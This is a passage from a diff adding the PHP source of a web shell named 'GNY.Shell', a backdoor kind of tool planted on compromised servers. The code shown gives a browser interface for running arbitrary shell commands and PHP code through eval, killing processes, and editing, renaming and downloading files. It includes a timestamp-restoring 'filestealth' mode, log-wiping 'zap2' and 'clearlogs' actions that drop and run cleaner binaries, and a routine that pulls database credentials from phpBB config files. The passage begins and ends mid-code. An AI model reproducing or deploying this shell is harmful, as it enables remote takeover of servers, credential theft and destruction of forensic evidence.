unset($sess_data["cut"][$k]); + } + sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } +} +// the wipe logs stuff needs to be before cmd, because it will change the $act if the write is successful +if ($act == 'zap2') { // *nix cleaner + if (is_writable('.')) { + cf($act, $$act); // 'tis pure innovation of optimization :) + chmod($act, 0777); + $cmd = './'.$act; // keep this before $act = 'cmd'; + $act = 'cmd'; + $cmd_txt = '1'; + }else{ + echo 'Directory Is Not Writable!<br>'; + } +} +if ($act == 'clearlogs') { // windows cleaners + if (is_writable('.')) { + cf($act.'.exe', $$act); + chmod($act.'.exe', 0777); + $cmd = $act.'.exe'; + $act = 'cmd'; + $cmd_txt = '1'; + }else{ + echo 'Directory Is Not Writable!<br>'; + } +} +if ($act == 'cmd') +{ +if (trim($cmd) == "ps -aux") + $act = 'processes'; +else { + @chdir($chdir); + if (!empty($submit)) + { + echo "<b>Result of execution this command</b>:<br>"; + $olddir = realpath("."); + @chdir($d); + $ret = myshellexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + @chdir($olddir); + } + else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; +} +} +if ($act == 'ls') +{ + if (count($ls_arr) > 0) {$list = $ls_arr;} + else + { + $list = array(); + if ($h = @opendir($d)) + { + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} + closedir($h); + } + else {} + } + if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";} + else + { + //Building array + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") + { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) + { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} + elseif (is_dir($v)) + { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) + { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = '<b>Name</b>'; + $row[] = '<b>Size</b>'; + $row[] = '<b>Modify</b>'; + if (!$win) + $row[] = '<b>Owner/Group</b>'; + $row[] = '<b>Perms</b>'; + $row[] = '<b>Action</b>'; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; + $y .= ($parsesort[1] == "a"?" [asc]":" [desc]"); + $row[$k] .= $y; + for($i=0;$i<count($row)-1;$i++) + { + if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") + { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) + { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + foreach ($regxp_highlight as $r) + { + if (ereg($r[0],$o)) + { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; GNYexit();} + else + { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) + { + if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") + { + $row[] = "<b><a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a></b>"; + $row[] = "LINK"; + } + elseif ($o == "..") + { + $row[] = "<b><a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a></b>"; + $row[] = "LINK"; + } + elseif (is_dir($v)) + { + if (is_link($v)) + { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = "<b><a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a></b>"; + } + else + { + $type = "DIR"; + $row[] = "<b><a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a></b>"; + } + $row[] = $type; + } + elseif(is_file($v)) + { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; + $row[] = view_size($a[1]); + } + $row[] = date("d.m.Y H:i:s",$a[2]); + if (!$win) {$row[] = $a[3];} + $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; + if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} + else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} + if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\">[info]</a>&nbsp;".$checkbox;} + else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\">[info]</a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\">[change]</a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\">[download]</a>&nbsp;".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + // Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgcolor=#000000 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact.'><input type=hidden name=d value="'.$dispd.'">'; + $countrows = 0; + foreach($table as $row) + { + if ($countrows & 1) { + echo "<tr bgcolor=#111111>\r\n"; + } else { + echo "<tr>\r\n"; + } + ++$countrows; + foreach($row as $v) {echo "<td>".$v."</td>\r\n";} + echo "</tr>\r\n"; + } + echo "</table><hr size=\"1\" noshade><p align=\"right\"> + <script> + function ls_setcheckboxall(status) + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = status; + id++; + } + } + function ls_reverse_all() + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; + id++; + } + } + </script> + <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> + <b>"; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + { + echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=act><option value=\"".$act."\">With selected:</option>"; + echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; + echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change Mode</option>"; + echo "<option value=md5file".($dspact == "md5file"?" selected":"").">MD5 Checksum</option>"; + echo "<option value=sha1file".($dspact == "sha1file"?" selected":"").">SHA1 Checksum</option>"; + if ($usefsbuff) + { + echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; + echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; + echo '<option value=unselect'.($dspact == "unselect"?" selected":"").'>Unselect</option>'; + } + echo '</select> <input type=submit value="Confirm"></p></form>'; + } +} + +if ($act == 'processes') +{ + echo "<b>Processes:</b><br>"; + if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} + else {$handler = "tasklist";} + $ret = myshellexec($handler); + if (!$ret) {echo "Can't execute \"".$handler."\"!";} + else + { + if (empty($processes_sort)) {$processes_sort = $sort_default;} + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"> [sort]</a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"> [sort]</a>";} + $ret = htmlspecialchars($ret); + if (!$win) + { + if ($pid) + { + if (is_null($sig)) {$sig = 9;} + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) {echo "OK.";} + else {echo "ERROR.";} + } + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) +{ + echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} + $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + echo "</tr>"; + } + } + } + else + { + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg("",$ret)) {$ret = str_replace("","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $head = explode("",$stack[0]); + $head[1] = explode(" ",$head[1]); + $head[1] = $head[1][0]; + $stack = array_slice($stack,1); + unset($head[2]); + $head = array_values($head); + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"> [sort]</a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"> [sort]</a>";} + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode("",$line); + $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); + $line[2] = intval(str_replace(" ","",$line[2]))*1024; + $prcs[] = $line; + echo "</tr>"; + } + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; + foreach($tab as $i=>$k) + { + echo "<tr>"; + foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";} + echo "</tr>"; + } + echo "</table>"; + } +} +if ($act == "eval") +{ + if (!empty($eval)) + { + echo "<b>Result of execution this PHP-code</b>:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { + ob_clean(); + eval($eval); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($eval_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + } + else + { + if ($eval_txt) + { + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>Execute PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; +} +if ($act == 'f') +{ + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") + { + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} + } + else + { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array('[info]','info'), + array('[rename]','rename'), + array('[html]','html'), + array('[txt]','txt'), + array('[code]','code'), + array('[session]','phpsess'), + array('[exe]','exe'), + array('[sdb]','sdb'), + array('[img]','img'), + array('[ini]','ini'), + array('[download]','download'), + array('[notepad]','notepad'), + array('[edit]','edit') + ); + echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; + foreach($arr as $t) + { + if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} + elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} + else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} + echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; + } + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") + { + echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; + $fi = fopen($d.$f,"rb"); + if ($fi) + { + if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} + else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000<br>"; + $a1 = ""; + $a2 = ""; + for ($i=0; $i<strlen($str); $i++) + { + $a1 .= sprintf("%02X",ord($str[$i]))." "; + switch (ord($str[$i])) + { + case 0: $a2 .= "<font>0</font>"; break; + case 32: + case 10: + case 13: $a2 .= "&nbsp;"; break; + default: $a2 .= htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) + { + $n = 0; + if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} + $a1 .= "<br>"; + $a2 .= "<br>"; + } + } + //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} + echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; + } + $encoded = ""; + if ($base64 == 1) + { + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) + { + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) + { + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) + { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "<b>Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "</b><br>"; + } + if (!empty($encoded)) + { + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; + } + echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> +<P>"; + } + elseif ($ft == "html") + { + if ($white) {@ob_clean();} + echo $r; + if ($white) {GNYexit();} + } + elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} + elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} + elseif ($ft == "rename") { echo ' + <form action=? method=GET> + <input type=hidden name=act value=f> + <input type=hidden name=f value='.urlencode($f).'> + <input type=hidden name=ft value=rename> + <input type=hidden name=d value='.$d.'> + New name: <input type=text name=name><br> + <input type=submit name=submit value=Submit></form>'; + if (isset($_GET['name'])) { + rename($d.$f, $d.$_GET['name']); + if (file_exists($d.$_GET['name'])) { + echo '<b><font color=green>'.$f.' renamed '.$_GET['name'].' successfully.</b></font>'; + }else{ + echo '<b><font color=red>Error renaming file (incorrect permissions?)</b></font>'; + } + } + } + elseif ($ft == "phpsess") + { + echo "<pre>"; + $v = explode("|",$r); + echo $v[0]."<br>"; + var_dump(unserialize($v[1])); + echo "</pre>"; + } + elseif ($ft == "exe") + { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; + } + elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} + elseif ($ft == "code") + { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) + { + $arr = explode("\n",$r); + if (count($arr == 18)) + { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "You cannot connect to forum database, because the database software of \"".$dbms."\" is not supported by GNY.Shell";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + echo "</b><hr size=\"1\" noshade>"; + } + } + echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {GNYexit();} + echo "</div>"; + } + elseif ($ft == "download") + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == 'notepad') + { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == 'img') + { + $inf = getimagesize($d.$f); + if (!$white) + { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "<center><b>Size:</b>&nbsp;"; + $sizes = array("100","50","20"); + foreach ($sizes as $v) + { + echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; + if ($imgsize != $v ) {echo $v;} + else {echo "<u>".$v."</u>";} + echo "%</a>&nbsp;&nbsp;"; + } + echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; + } + else + { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == 'edit') + { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo '<b>Saved!</b>'; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect.";} + else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} + } +} +} +else +{ + @ob_clean(); + + //For simple size- and speed-optimization. + $imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") + ); + if (!$getall) + { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if 